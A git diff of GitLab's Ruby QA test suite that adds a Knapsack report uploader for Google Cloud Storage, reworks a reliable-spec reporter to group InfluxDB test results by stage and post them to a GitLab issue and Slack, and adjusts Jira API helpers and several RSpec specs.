@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- RSpec.describe 'Non-devops' do
- describe 'Performance bar display', :requires_admin, :skip_live_env do
- context 'when logged in as an admin user' do
- # performance metrics: pg, gitaly, redis, rugged (feature flagged), total (not always provided)
- let(:minimum_metrics_count) { 3 }
-
- before do
- Flow::Login.sign_in_as_admin
- Page::Main::Menu.perform(&:go_to_admin_area)
- Page::Admin::Menu.perform(&:go_to_metrics_and_profiling_settings)
-
- Page::Admin::Settings::MetricsAndProfiling.perform do |setting|
- setting.expand_performance_bar do |page|
- page.enable_performance_bar
- page.save_settings
- end
- end
- end
-
- it 'shows results for the original request and AJAX requests', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1545' do
- # Issue pages always make AJAX requests
- Resource::Issue.fabricate_via_browser_ui! do |issue|
- issue.title = 'Performance bar test'
- end
-
- Page::Layout::PerformanceBar.perform do |bar_component|
- expect(bar_component).to have_performance_bar
- expect(bar_component).to have_detailed_metrics(minimum_metrics_count)
- expect(bar_component).to have_request_for('realtime_changes') # Always requested on issue pages
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/support/formatters/test_stats_formatter.rb b/qa/qa/support/formatters/test_stats_formatter.rb
index b54b6a51d11..6f6291b5856 100644
--- a/qa/qa/support/formatters/test_stats_formatter.rb
+++ b/qa/qa/support/formatters/test_stats_formatter.rb
@@ -167,7 +167,7 @@ module QA
# @param [String] location
# @return [String, nil]
def devops_stage(file_path)
- file_path.match(%r{(\d{1,2}_\w+)/})&.captures&.first
+ file_path.match(%r{\d{1,2}_(\w+)/})&.captures&.first
end
end
end
diff --git a/qa/qa/tools/knapsack_report.rb b/qa/qa/tools/knapsack_report.rb
new file mode 100644
index 00000000000..fb405e82e83
--- /dev/null
+++ b/qa/qa/tools/knapsack_report.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "fog/google"
+
+module QA
+ module Tools
+ class KnapsackReport
+ PROJECT = "gitlab-qa-resources"
+ BUCKET = "knapsack-reports"
+
+ class << self
+ def download
+ new.download_report
+ end
+
+ def upload(glob)
+ new.upload_report(glob)
+ end
+ end
+
+ def initialize
+ ENV["KNAPSACK_REPORT_PATH"] || raise("KNAPSACK_REPORT_PATH env var is required!")
+ ENV["QA_KNAPSACK_REPORT_GCS_CREDENTIALS"] || raise("QA_KNAPSACK_REPORT_GCS_CREDENTIALS env var is required!")
+ end
+
+ # Download knapsack report from gcs bucket
+ #
+ # @return [void]
+ def download_report
+ logger.info("Downloading latest knapsack report '#{report_file}'")
+ file = client.get_object(BUCKET, report_file)
+
+ logger.info("Saving latest knapsack report to '#{report_path}'")
+ File.write(report_path, file[:body])
+ end
+
+ # Merge and upload knapsack report to gcs bucket
+ #
+ # @param [String] glob
+ # @return [void]
+ def upload_report(glob)
+ reports = Dir[glob]
+ return logger.error("Pattern '#{glob}' did not match any files!") if reports.empty?
+
+ report = reports
+ .map { |path| JSON.parse(File.read(path)) }
+ .reduce({}, :merge)
+ return logger.error("Knapsack generated empty report, skipping upload!") if report.empty?
+
+ logger.info("Uploading latest knapsack report '#{report_file}'")
+ client.put_object(BUCKET, report_file, JSON.pretty_generate(report))
+ end
+
+ private
+
+ # Logger instance
+ #
+ # @return [Logger]
+ def logger
+ @logger ||= Logger.new($stdout)
+ end
+
+ # GCS client
+ #
+ # @return [Fog::Storage::GoogleJSON]
+ def client
+ @client ||= Fog::Storage::Google.new(
+ google_project: PROJECT,
+ google_json_key_location: ENV["QA_KNAPSACK_REPORT_GCS_CREDENTIALS"]
+ )
+ end
+
+ # Knapsack report path
+ #
+ # @return [String]
+ def report_path
+ @report_path ||= ENV["KNAPSACK_REPORT_PATH"]
+ end
+
+ # Knapsack report name
+ #
+ # @return [String]
+ def report_file
+ @report_name ||= report_path.split("/").last
+ end
+ end
+ end
+end
diff --git a/qa/qa/tools/reliable_report.rb b/qa/qa/tools/reliable_report.rb
index 9d2079171c1..40a452be36e 100644
--- a/qa/qa/tools/reliable_report.rb
+++ b/qa/qa/tools/reliable_report.rb
@@ -1,111 +1,223 @@
# frozen_string_literal: true
+require_relative "../../qa"
+
require "influxdb-client"
require "terminal-table"
require "slack-notifier"
+require "colorize"
module QA
module Tools
class ReliableReport
- def initialize(run_type, range = 30)
- @results = 10
- @slack_channel = "#quality-reports"
+ include Support::API
+
+ # Project for report creation: https://gitlab.com/gitlab-org/gitlab
+ PROJECT_ID = 278964
+
+ def initialize(range)
@range = range
- @run_type = run_type
- @stable_title = "Top #{results} stable specs for past #{@range} days in '#{run_type}' runs"
- @unstable_title = "Top #{results} unstable reliable specs for past #{@range} days in '#{run_type}' runs"
+ @influxdb_bucket = "e2e-test-stats"
+ @slack_channel = "#quality-reports"
+ @influxdb_url = ENV["QA_INFLUXDB_URL"] || raise("Missing QA_INFLUXDB_URL env variable")
+ @influxdb_token = ENV["QA_INFLUXDB_TOKEN"] || raise("Missing QA_INFLUXDB_TOKEN env variable")
end
- # Print top stable specs
+ # Run reliable reporter
#
+ # @param [Integer] range amount of days for results range
+ # @param [String] report_in_issue_and_slack
# @return [void]
- def show_top_stable
- puts terminal_table(
- rows: top_stable.map { |k, v| [name_column(k, v[:file]), *table_params(v.values)] },
- title: stable_title
- )
+ def self.run(range: 14, report_in_issue_and_slack: "false")
+ reporter = new(range)
+
+ reporter.print_report
+ reporter.report_in_issue_and_slack if report_in_issue_and_slack == "true"
+ rescue StandardError => e
+ puts "Report creation failed! Error: '#{e}'".colorize(:red)
+ reporter.notify_failure(e)
+ exit(1)
end
- # Post top stable spec report to slack
- # Slice table in to multiple messages due to max char limitation
+ # Print top stable specs
#
# @return [void]
- def notify_top_stable
- tables = top_stable.each_slice(5).map do |slice|
- terminal_table(
- rows: slice.map { |spec| [name_column(spec[0], spec[1][:file]), *table_params(spec[1].values)] }
- )
- end
+ def print_report
+ puts "#{stable_summary_table}\n\n"
+ stable_results_tables.each { |stage, table| puts "#{table}\n\n" }
+ return puts("No unstable reliable tests present!".colorize(:yellow)) if unstable_reliable_test_runs.empty?
- puts "\nSending top stable spec report to #{slack_channel} slack channel"
- slack_args = { icon_emoji: ":mtg_green:", username: "Stable Spec Report" }
- notifier.post(text: "*#{stable_title}*", **slack_args)
- tables.each { |table| notifier.post(text: "```#{table}```", **slack_args) }
+ puts "#{unstable_summary_table}\n\n"
+ unstable_reliable_results_tables.each { |stage, table| puts "#{table}\n\n" }
end
- # Print top unstable specs
+ # Create report issue
#
# @return [void]
- def show_top_unstable
- return puts("No unstable tests present!") if top_unstable_reliable.empty?
+ def report_in_issue_and_slack
+ puts "Creating report".colorize(:green)
+ response = post(
+ "#{gitlab_api_url}/projects/#{PROJECT_ID}/issues",
+ { title: "Reliable spec report", description: report_issue_body, labels: "Quality,test" },
+ headers: { "PRIVATE-TOKEN" => gitlab_access_token }
+ )
+ web_url = parse_body(response)[:web_url]
+ puts "Created report issue: #{web_url}"
- puts terminal_table(
- rows: top_unstable_reliable.map { |k, v| [name_column(k, v[:file]), *table_params(v.values)] },
- title: unstable_title
+ puts "Sending slack notification".colorize(:green)
+ notifier.post(
+ icon_emoji: ":tanuki-protect:",
+ text: <<~TEXT
+ ```#{stable_summary_table}```
+ ```#{unstable_summary_table}```
+
+ #{web_url}
+ TEXT
)
+ puts "Done!"
end
- # Post top unstable reliable spec report to slack
- # Slice table in to multiple messages due to max char limitation
+ # Notify failure
#
+ # @param [StandardError] error
# @return [void]
- def notify_top_unstable
- return puts("No unstable tests present!") if top_unstable_reliable.empty?
+ def notify_failure(error)
+ notifier.post(
+ text: "Reliable reporter failed to create report. Error: ```#{error}```",
+ icon_emoji: ":sadpanda:"
+ )
+ end
- tables = top_unstable_reliable.each_slice(5).map do |slice|
- terminal_table(
- rows: slice.map { |spec| [name_column(spec[0], spec[1][:file]), *table_params(spec[1].values)] }
- )
- end
+ private
- puts "\nSending top unstable reliable spec report to #{slack_channel} slack channel"
- slack_args = { icon_emoji: ":sadpanda:", username: "Unstable Spec Report" }
- notifier.post(text: "*#{unstable_title}*", **slack_args)
- tables.each { |table| notifier.post(text: "```#{table}```", **slack_args) }
+ attr_reader :range, :influxdb_bucket, :slack_channel, :influxdb_url, :influxdb_token
+
+ # Markdown formatted report issue body
+ #
+ # @return [String]
+ def report_issue_body
+ issue = []
+ issue << "[[_TOC_]]"
+ issue << "# Candidates for promotion to reliable\n\n```\n#{stable_summary_table}\n```"
+ issue << results_markdown(stable_results_tables)
+ return issue.join("\n\n") if unstable_reliable_test_runs.empty?
+
+ issue << "# Reliable specs with failures\n\n```\n#{unstable_summary_table}\n```"
+ issue << results_markdown(unstable_reliable_results_tables)
+ issue.join("\n\n")
end
- private
+ # Stable spec summary table
+ #
+ # @return [Terminal::Table]
+ def stable_summary_table
+ @stable_summary_table ||= terminal_table(
+ rows: stable_test_runs.map { |stage, specs| [stage, specs.length] },
+ title: "Stable spec summary for past #{range} days".ljust(50),
+ headings: %w[STAGE COUNT]
+ )
+ end
- attr_reader :results,
- :slack_channel,
- :range,
- :run_type,
- :stable_title,
- :unstable_title
+ # Unstable reliable summary table
+ #
+ # @return [Terminal::Table]
+ def unstable_summary_table
+ @unstable_summary_table ||= terminal_table(
+ rows: unstable_reliable_test_runs.map { |stage, specs| [stage, specs.length] },
+ title: "Unstable spec summary for past #{range} days".ljust(50),
+ headings: %w[STAGE COUNT]
+ )
+ end
- # Top stable specs
+ # Result tables for stable specs
#
# @return [Hash]
- def top_stable
- @top_stable ||= runs(reliable: false).sort_by { |k, v| [v[:failure_rate], -v[:runs]] }[0..results - 1].to_h
+ def stable_results_tables
+ @stable_results ||= results_tables(:stable)
end
- # Top unstable reliable specs
+ # Result table for unstable specs
#
# @return [Hash]
- def top_unstable_reliable
- @top_unstable_reliable ||= runs(reliable: true)
- .reject { |k, v| v[:failure_rate] == 0 }
- .sort_by { |k, v| -v[:failure_rate] }[0..results - 1]
- .to_h
+ def unstable_reliable_results_tables
+ @unstable_results ||= results_tables(:unstable)
+ end
+
+ # Markdown formatted tables
+ #
+ # @param [Hash] results
+ # @return [String]
+ def results_markdown(results)
+ results.map do |stage, table|
+ <<~STAGE.strip
+ ## #{stage}
+
+ <details>
+ <summary>Executions table</summary>
+
+ ```
+ #{table}
+ ```
+
+ </details>
+ STAGE
+ end.join("\n\n")
+ end
+
+ # Results table
+ #
+ # @param [Symbol] type result type - :stable, :unstable
+ # @return [Hash<Symbol, Terminal::Table>]
+ def results_tables(type)
+ (type == :stable ? stable_test_runs : unstable_reliable_test_runs).to_h do |stage, specs|
+ headings = ["name", "runs", "failures", "failure rate"]
+
+ [stage, terminal_table(
+ rows: specs.map { |k, v| [name_column(k, v[:file]), *table_params(v.values)] },
+ title: "Top #{type} specs in '#{stage}' stage for past #{range} days",
+ headings: headings.map(&:upcase)
+ )]
+ end
+ end
+
+ # Stable specs
+ #
+ # @return [Hash]
+ def stable_test_runs
+ @top_stable ||= begin
+ stable_specs = test_runs(reliable: false).transform_values do |specs|
+ specs
+ .reject { |k, v| v[:failure_rate] != 0 }
+ .sort_by { |k, v| -v[:runs] }
+ .to_h
+ end
+
+ stable_specs.reject { |k, v| v.empty? }
+ end
+ end
+
+ # Unstable reliable specs
+ #
+ # @return [Hash]
+ def unstable_reliable_test_runs
+ @top_unstable_reliable ||= begin
+ unstable = test_runs(reliable: true).transform_values do |specs|
+ specs
+ .reject { |k, v| v[:failure_rate] == 0 }
+ .sort_by { |k, v| -v[:failure_rate] }
+ .to_h
+ end
+
+ unstable.reject { |k, v| v.empty? }
+ end
end
# Terminal table for result formatting
#
# @return [Terminal::Table]
- def terminal_table(rows:, title: nil)
+ def terminal_table(rows:, headings:, title: nil)
Terminal::Table.new(
- headings: ["name", "runs", "failed", "failure rate"],
+ headings: headings,
style: { all_separators: true },
title: title,
rows: rows
@@ -126,30 +238,32 @@ module QA
# @param [String] file
# @return [String]
def name_column(name, file)
- spec_name = name.length > 100 ? "#{name} ".scan(/.{1,100} /).map(&:strip).join("\n") : name
+ spec_name = name.length > 150 ? "#{name} ".scan(/.{1,150} /).map(&:strip).join("\n") : name
name_line = "name: '#{spec_name}'"
file_line = "file: '#{file}'"
- "#{name_line}\n#{file_line.ljust(110)}"
+ "#{name_line}\n#{file_line.ljust(160)}"
end
# Test executions grouped by name
#
# @param [Boolean] reliable
- # @return [Hash]
- def runs(reliable:)
- puts("Fetching data on #{reliable ? 'reliable ' : ''}test execution for past 30 days in '#{run_type}' runs")
- puts
+ # @return [Hash<String, Hash>]
+ def test_runs(reliable:)
+ puts("Fetching data on #{reliable ? 'reliable ' : ''}test execution for past #{range} days\n".colorize(:green))
- query_api.query(query: query(reliable)).values.each_with_object({}) do |table, result|
+ all_runs = query_api.query(query: query(reliable)).values
+ all_runs.each_with_object(Hash.new { |hsh, key| hsh[key] = {} }) do |table, result|
records = table.records
name = records.last.values["name"]
file = records.last.values["file_path"].split("/").last
+ stage = records.last.values["stage"] || "unknown"
+
runs = records.count
failed = records.count { |r| r.values["status"] == "failed" }
failure_rate = (failed.to_f / runs.to_f) * 100
- result[name] = {
+ result[stage][name] = {
file: file,
runs: runs,
failed: failed,
@@ -164,17 +278,24 @@ module QA
# @return [String]
def query(reliable)
<<~QUERY
- from(bucket: "e2e-test-stats")
- |> range(start: -#{range}d)
- |> filter(fn: (r) => r._measurement == "test-stats" and
- r.run_type == "#{run_type}" and
- r.status != "pending" and
- r.merge_request == "false" and
- r.quarantined == "false" and
- r.reliable == "#{reliable}" and
- r._field == "id"
- )
- |> group(columns: ["name"])
+ from(bucket: "#{influxdb_bucket}")
+ |> range(start: -#{range}d)
+ |> filter(fn: (r) => r._measurement == "test-stats")
+ |> filter(fn: (r) => r.run_type == "staging-full" or
+ r.run_type == "staging-sanity" or
+ r.run_type == "staging-sanity-no-admin" or
+ r.run_type == "production-full" or
+ r.run_type == "production-sanity" or
+ r.run_type == "package-and-qa" or
+ r.run_type == "nightly"
+ )
+ |> filter(fn: (r) => r.status != "pending" and
+ r.merge_request == "false" and
+ r.quarantined == "false" and
+ r.reliable == "#{reliable}" and
+ r._field == "id"
+ )
+ |> group(columns: ["name"])
QUERY
end
@@ -192,7 +313,7 @@ module QA
@influx_client ||= InfluxDB2::Client.new(
influxdb_url,
influxdb_token,
- bucket: "e2e-test-stats",
+ bucket: influxdb_bucket,
org: "gitlab-qa",
precision: InfluxDB2::WritePrecision::NANOSECOND
)
@@ -205,29 +326,29 @@ module QA
@notifier ||= Slack::Notifier.new(
slack_webhook_url,
channel: slack_channel,
- username: "Reliable spec reporter"
+ username: "Reliable Spec Report"
)
end
- # InfluxDb instance url
+ # Gitlab access token
#
# @return [String]
- def influxdb_url
- @influxdb_url ||= ENV["QA_INFLUXDB_URL"] || raise("Missing QA_INFLUXDB_URL environment variable")
+ def gitlab_access_token
+ @gitlab_access_token ||= ENV["GITLAB_ACCESS_TOKEN"] || raise("Missing GITLAB_ACCESS_TOKEN env variable")
end
- # Influxdb token
+ # Gitlab api url
#
# @return [String]
- def influxdb_token
- @influxdb_token ||= ENV["QA_INFLUXDB_TOKEN"] || raise("Missing QA_INFLUXDB_TOKEN environment variable")
+ def gitlab_api_url
+ @gitlab_api_url ||= ENV["CI_API_V4_URL"] || raise("Missing CI_API_V4_URL env variable")
end
# Slack webhook url
#
# @return [String]
def slack_webhook_url
- @slack_webhook_url ||= ENV["CI_SLACK_WEBHOOK_URL"] || raise("Missing CI_SLACK_WEBHOOK_URL environment variable")
+ @slack_webhook_url ||= ENV["SLACK_WEBHOOK"] || raise("Missing SLACK_WEBHOOK env variable")
end
end
end
diff --git a/qa/qa/vendor/jira/jira_api.rb b/qa/qa/vendor/jira/jira_api.rb
index 64af824418d..15039ac244e 100644
--- a/qa/qa/vendor/jira/jira_api.rb
+++ b/qa/qa/vendor/jira/jira_api.rb
@@ -7,6 +7,9 @@ module QA
include Scenario::Actable
include Support::API
+ DEFAULT_ISSUE_SUMMARY = 'REST ye merry gentlemen.'
+ DEFAULT_ISSUE_DESCRIPTION = 'Creating of an issue using project keys and issue type names using the REST API'
+
def base_url
host = QA::Runtime::Env.jira_hostname || 'localhost'
@@ -18,27 +21,58 @@ module QA
end
def fetch_issue(issue_key)
- response = get("#{api_url}/issue/#{issue_key}", user: Runtime::Env.jira_admin_username, password: Runtime::Env.jira_admin_password)
+ response = get("#{api_url}/issue/#{issue_key}",
+ user: Runtime::Env.jira_admin_username,
+ password: Runtime::Env.jira_admin_password)
parse_body(response)
end
- def create_issue(jira_project_key)
+ def create_project(project_key = "GL#{SecureRandom.hex(4)}".upcase)
+ payload = {
+ key: project_key,
+ name: "Project #{project_key}",
+ description: "New Project #{project_key}",
+ lead: Runtime::Env.jira_admin_username,
+ projectTypeKey: 'software'
+ }
+ response = post(
+ "#{api_url}/project",
+ payload.to_json,
+ headers: { 'Content-Type' => 'application/json' },
+ user: Runtime::Env.jira_admin_username,
+ password: Runtime::Env.jira_admin_password)
+
+ returned_project_key = parse_body(response)[:key]
+
+ QA::Runtime::Logger.debug("Created JIRA project with key: '#{project_key}'")
+
+ returned_project_key
+ end
+
+ def create_issue(
+ jira_project_key,
+ issue_type: 'Bug',
+ summary: DEFAULT_ISSUE_SUMMARY,
+ description: DEFAULT_ISSUE_DESCRIPTION
+ )
payload = {
fields: {
project: {
key: jira_project_key
},
- summary: 'REST ye merry gentlemen.',
- description: 'Creating of an issue using project keys and issue type names using the REST API',
+ summary: summary,
+ description: description,
issuetype: {
- name: 'Bug'
+ name: issue_type
}
}
}
- response = post("#{api_url}/issue",
- payload.to_json, headers: { 'Content-Type': 'application/json' },
+ response = post(
+ "#{api_url}/issue",
+ payload.to_json,
+ headers: { 'Content-Type': 'application/json' },
user: Runtime::Env.jira_admin_username,
password: Runtime::Env.jira_admin_password)
diff --git a/qa/spec/resource/base_spec.rb b/qa/spec/resource/base_spec.rb
index b24ced9e310..2a26a479436 100644
--- a/qa/spec/resource/base_spec.rb
+++ b/qa/spec/resource/base_spec.rb
@@ -3,8 +3,9 @@
RSpec.describe QA::Resource::Base do
include QA::Support::Helpers::StubEnv
- let(:resource) { spy('resource') }
+ let(:resource) { spy('resource', username: 'qa') }
let(:location) { 'http://location' }
+ let(:log_regex) { %r{==> Built a MyResource with username 'qa' via #{method} in [\d.\-e]+ seconds+} }
shared_context 'with fabrication context' do
subject do
@@ -68,6 +69,8 @@ RSpec.describe QA::Resource::Base do
end
context "with debug log level" do
+ let(:method) { 'api' }
+
before do
allow(QA::Runtime::Logger).to receive(:debug)
end
@@ -78,7 +81,7 @@ RSpec.describe QA::Resource::Base do
subject.fabricate_via_api!('something', resource: resource, parents: [])
expect(QA::Runtime::Logger).to have_received(:debug) do |&msg|
- expect(msg.call).to match_regex(/==> Built a MyResource via api in [\d.\-e]+ seconds+/)
+ expect(msg.call).to match_regex(log_regex)
end
end
end
@@ -102,6 +105,8 @@ RSpec.describe QA::Resource::Base do
end
context "with debug log level" do
+ let(:method) { 'browser_ui' }
+
before do
allow(QA::Runtime::Logger).to receive(:debug)
end
@@ -112,7 +117,7 @@ RSpec.describe QA::Resource::Base do
subject.fabricate_via_browser_ui!('something', resource: resource, parents: [])
expect(QA::Runtime::Logger).to have_received(:debug) do |&msg|
- expect(msg.call).to match_regex(/==> Built a MyResource via browser_ui in [\d.\-e]+ seconds+/)
+ expect(msg.call).to match_regex(log_regex)
end
end
end
diff --git a/qa/spec/runtime/env_spec.rb b/qa/spec/runtime/env_spec.rb
index fb18311bb52..80d8a9a1892 100644
--- a/qa/spec/runtime/env_spec.rb
+++ b/qa/spec/runtime/env_spec.rb
@@ -169,6 +169,10 @@ RSpec.describe QA::Runtime::Env do
end
describe '.knapsack?' do
+ before do
+ stub_env('CI_NODE_TOTAL', '2')
+ end
+
it 'returns true if KNAPSACK_GENERATE_REPORT is defined' do
stub_env('KNAPSACK_GENERATE_REPORT', 'true')
@@ -190,28 +194,11 @@ RSpec.describe QA::Runtime::Env do
it 'returns false if neither KNAPSACK_GENERATE_REPORT nor KNAPSACK_REPORT_PATH nor KNAPSACK_TEST_FILE_PATTERN are defined' do
expect(described_class.knapsack?).to be_falsey
end
- end
- describe '.knapsack?' do
- it 'returns true if KNAPSACK_GENERATE_REPORT is defined' do
+ it 'returns false if not running in parallel job' do
+ stub_env('CI_NODE_TOTAL', '1')
stub_env('KNAPSACK_GENERATE_REPORT', 'true')
- expect(described_class.knapsack?).to be_truthy
- end
-
- it 'returns true if KNAPSACK_REPORT_PATH is defined' do
- stub_env('KNAPSACK_REPORT_PATH', '/a/path')
-
- expect(described_class.knapsack?).to be_truthy
- end
-
- it 'returns true if KNAPSACK_TEST_FILE_PATTERN is defined' do
- stub_env('KNAPSACK_TEST_FILE_PATTERN', '/a/**/pattern')
-
- expect(described_class.knapsack?).to be_truthy
- end
-
- it 'returns false if neither KNAPSACK_GENERATE_REPORT nor KNAPSACK_REPORT_PATH nor KNAPSACK_TEST_FILE_PATTERN are defined' do
expect(described_class.knapsack?).to be_falsey
end
end
diff --git a/qa/spec/scenario/test/integration/kubernetes_spec.rb b/qa/spec/scenario/test/integration/kubernetes_spec.rb
deleted file mode 100644
index d5885b97343..00000000000
--- a/qa/spec/scenario/test/integration/kubernetes_spec.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.describe QA::Scenario::Test::Integration::Kubernetes do
- describe '#perform' do
- it_behaves_like 'a QA scenario class' do
- let(:tags) { [:kubernetes] }
- end
- end
-end
diff --git a/qa/spec/scenario/test/integration/service_ping_disabled_spec.rb b/qa/spec/scenario/test/integration/service_ping_disabled_spec.rb
new file mode 100644
index 00000000000..2db254908f0
--- /dev/null
+++ b/qa/spec/scenario/test/integration/service_ping_disabled_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+RSpec.describe QA::Scenario::Test::Integration::ServicePingDisabled do
+ describe '#perform' do
+ it_behaves_like 'a QA scenario class' do
+ let(:tags) { [:service_ping_disabled] }
+ end
+ end
+end
diff --git a/qa/spec/spec_helper.rb b/qa/spec/spec_helper.rb
index 640f2de0ca2..4372d9d2728 100644
--- a/qa/spec/spec_helper.rb
+++ b/qa/spec/spec_helper.rb
@@ -64,6 +64,13 @@ RSpec.configure do |config|
end
end
+ config.after(:suite) do |suite|
+ # If any tests failed, leave the resources behind to help troubleshoot
+ next if suite.reporter.failed_examples.present?
+
+ QA::Resource::ReusableProject.remove_all_via_api!
+ end
+
config.expect_with :rspec do |expectations|
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
diff --git a/qa/spec/support/formatters/test_stats_formatter_spec.rb b/qa/spec/support/formatters/test_stats_formatter_spec.rb
index f9baf9bd9d9..71ab9c1d541 100644
--- a/qa/spec/support/formatters/test_stats_formatter_spec.rb
+++ b/qa/spec/support/formatters/test_stats_formatter_spec.rb
@@ -45,7 +45,7 @@ describe QA::Support::Formatters::TestStatsFormatter do
job_name: "test-job",
merge_request: "false",
run_type: run_type,
- stage: stage
+ stage: stage.match(%r{\d{1,2}_(\w+)}).captures.first
},
fields: {
id: './spec/support/formatters/test_stats_formatter_spec.rb[1:1]',
diff --git a/qa/spec/support/shared_contexts/packages_registry_shared_context.rb b/qa/spec/support/shared_contexts/packages_registry_shared_context.rb
index e686d254a44..348176d264b 100644
--- a/qa/spec/support/shared_contexts/packages_registry_shared_context.rb
+++ b/qa/spec/support/shared_contexts/packages_registry_shared_context.rb
@@ -42,13 +42,13 @@ module QA
end
let(:project_deploy_token) do
- Resource::DeployToken.fabricate_via_browser_ui! do |deploy_token|
+ Resource::ProjectDeployToken.fabricate_via_api! do |deploy_token|
deploy_token.name = 'package-deploy-token'
deploy_token.project = package_project
- deploy_token.scopes = [
- :read_repository,
- :read_package_registry,
- :write_package_registry
+ deploy_token.scopes = %w[
+ read_repository
+ read_package_registry
+ write_package_registry
]
end
end
diff --git a/qa/spec/tools/reliable_report_spec.rb b/qa/spec/tools/reliable_report_spec.rb
index c7d4d28fb21..a048aa2e6ea 100644
--- a/qa/spec/tools/reliable_report_spec.rb
+++ b/qa/spec/tools/reliable_report_spec.rb
@@ -3,62 +3,94 @@
describe QA::Tools::ReliableReport do
include QA::Support::Helpers::StubEnv
- subject(:reporter) { described_class.new(run_type, range) }
+ subject(:run) { described_class.run(range: range, report_in_issue_and_slack: create_issue) }
+ let(:gitlab_response) { instance_double("RestClient::Response", code: 200, body: { web_url: issue_url }.to_json) }
let(:slack_notifier) { instance_double("Slack::Notifier", post: nil) }
let(:influx_client) { instance_double("InfluxDB2::Client", create_query_api: query_api) }
let(:query_api) { instance_double("InfluxDB2::QueryApi") }
let(:slack_channel) { "#quality-reports" }
- let(:run_type) { "package-and-qa" }
- let(:range) { 30 }
- let(:results) { 10 }
-
- let(:runs) { { 0 => stable_spec, 1 => unstable_spec } }
-
- let(:stable_spec) do
- spec_values = { "name" => "stable spec", "status" => "passed", "file_path" => "some/spec.rb" }
- instance_double(
- "InfluxDB2::FluxTable",
- records: [
- instance_double("InfluxDB2::FluxRecord", values: spec_values),
- instance_double("InfluxDB2::FluxRecord", values: spec_values),
- instance_double("InfluxDB2::FluxRecord", values: spec_values)
- ]
- )
+ let(:range) { 14 }
+ let(:issue_url) { "https://gitlab.com/issue/1" }
+
+ let(:runs) do
+ values = { "name" => "stable spec", "status" => "passed", "file_path" => "some/spec.rb", "stage" => "manage" }
+ {
+ 0 => instance_double(
+ "InfluxDB2::FluxTable",
+ records: [
+ instance_double("InfluxDB2::FluxRecord", values: values),
+ instance_double("InfluxDB2::FluxRecord", values: values),
+ instance_double("InfluxDB2::FluxRecord", values: values)
+ ]
+ )
+ }
end
- let(:unstable_spec) do
- spec_values = { "name" => "unstable spec", "status" => "failed", "file_path" => "some/spec.rb" }
- instance_double(
- "InfluxDB2::FluxTable",
- records: [
- instance_double("InfluxDB2::FluxRecord", values: { **spec_values, "status" => "passed" }),
- instance_double("InfluxDB2::FluxRecord", values: spec_values),
- instance_double("InfluxDB2::FluxRecord", values: spec_values)
- ]
- )
+ let(:reliable_runs) do
+ values = { "name" => "unstable spec", "status" => "failed", "file_path" => "some/spec.rb", "stage" => "create" }
+ {
+ 0 => instance_double(
+ "InfluxDB2::FluxTable",
+ records: [
+ instance_double("InfluxDB2::FluxRecord", values: { **values, "status" => "passed" }),
+ instance_double("InfluxDB2::FluxRecord", values: values),
+ instance_double("InfluxDB2::FluxRecord", values: values)
+ ]
+ )
+ }
end
- def flux_query(reliable)
+ def flux_query(reliable:)
<<~QUERY
- from(bucket: "e2e-test-stats")
- |> range(start: -#{range}d)
- |> filter(fn: (r) => r._measurement == "test-stats" and
- r.run_type == "#{run_type}" and
- r.status != "pending" and
- r.merge_request == "false" and
- r.quarantined == "false" and
- r.reliable == "#{reliable}" and
- r._field == "id"
- )
- |> group(columns: ["name"])
+ from(bucket: "e2e-test-stats")
+ |> range(start: -#{range}d)
+ |> filter(fn: (r) => r._measurement == "test-stats")
+ |> filter(fn: (r) => r.run_type == "staging-full" or
+ r.run_type == "staging-sanity" or
+ r.run_type == "staging-sanity-no-admin" or
+ r.run_type == "production-full" or
+ r.run_type == "production-sanity" or
+ r.run_type == "package-and-qa" or
+ r.run_type == "nightly"
+ )
+ |> filter(fn: (r) => r.status != "pending" and
+ r.merge_request == "false" and
+ r.quarantined == "false" and
+ r.reliable == "#{reliable}" and
+ r._field == "id"
+ )
+ |> group(columns: ["name"])
QUERY
end
- def table(rows, title = nil)
+ def markdown_section(summary, result, stage, type)
+ <<~SECTION.strip
+ ```
+ #{summary_table(summary, type)}
+ ```
+
+ ## #{stage}
+
+ <details>
+ <summary>Executions table</summary>
+
+ ```
+ #{table(result, ['NAME', 'RUNS', 'FAILURES', 'FAILURE RATE'], "Top #{type} specs in '#{stage}' stage for past #{range} days")}
+ ```
+
+ </details>
+ SECTION
+ end
+
+ def summary_table(summary, type)
+ table(summary, %w[STAGE COUNT], "#{type.capitalize} spec summary for past #{range} days".ljust(50))
+ end
+
+ def table(rows, headings, title)
Terminal::Table.new(
- headings: ["name", "runs", "failed", "failure rate"],
+ headings: headings,
style: { all_separators: true },
title: title,
rows: rows
@@ -67,7 +99,7 @@ describe QA::Tools::ReliableReport do
def name_column(spec_name)
name = "name: '#{spec_name}'"
- file = "file: 'spec.rb'".ljust(110)
+ file = "file: 'spec.rb'".ljust(160)
"#{name}\n#{file}"
end
@@ -75,71 +107,85 @@ describe QA::Tools::ReliableReport do
before do
stub_env("QA_INFLUXDB_URL", "url")
stub_env("QA_INFLUXDB_TOKEN", "token")
- stub_env("CI_SLACK_WEBHOOK_URL", "slack_url")
+ stub_env("SLACK_WEBHOOK", "slack_url")
+ stub_env("CI_API_V4_URL", "gitlab_api_url")
+ stub_env("GITLAB_ACCESS_TOKEN", "gitlab_token")
+ allow(RestClient::Request).to receive(:execute).and_return(gitlab_response)
allow(Slack::Notifier).to receive(:new).and_return(slack_notifier)
allow(InfluxDB2::Client).to receive(:new).and_return(influx_client)
- allow(query_api).to receive(:query).with(query: query).and_return(runs)
- end
- context "with stable spec report" do
- let(:query) { flux_query(false) }
- let(:fetch_message) { "Fetching data on test execution for past #{range} days in '#{run_type}' runs" }
- let(:slack_send_message) { "Sending top stable spec report to #{slack_channel} slack channel" }
- let(:title) { "Top #{results} stable specs for past #{range} days in '#{run_type}' runs" }
- let(:rows) do
- [
- [name_column("stable spec"), 3, 0, "0%"],
- [name_column("unstable spec"), 3, 2, "66.67%"]
- ]
- end
+ allow(query_api).to receive(:query).with(query: flux_query(reliable: false)).and_return(runs)
+ allow(query_api).to receive(:query).with(query: flux_query(reliable: true)).and_return(reliable_runs)
+ end
- it "prints top stable spec report to console" do
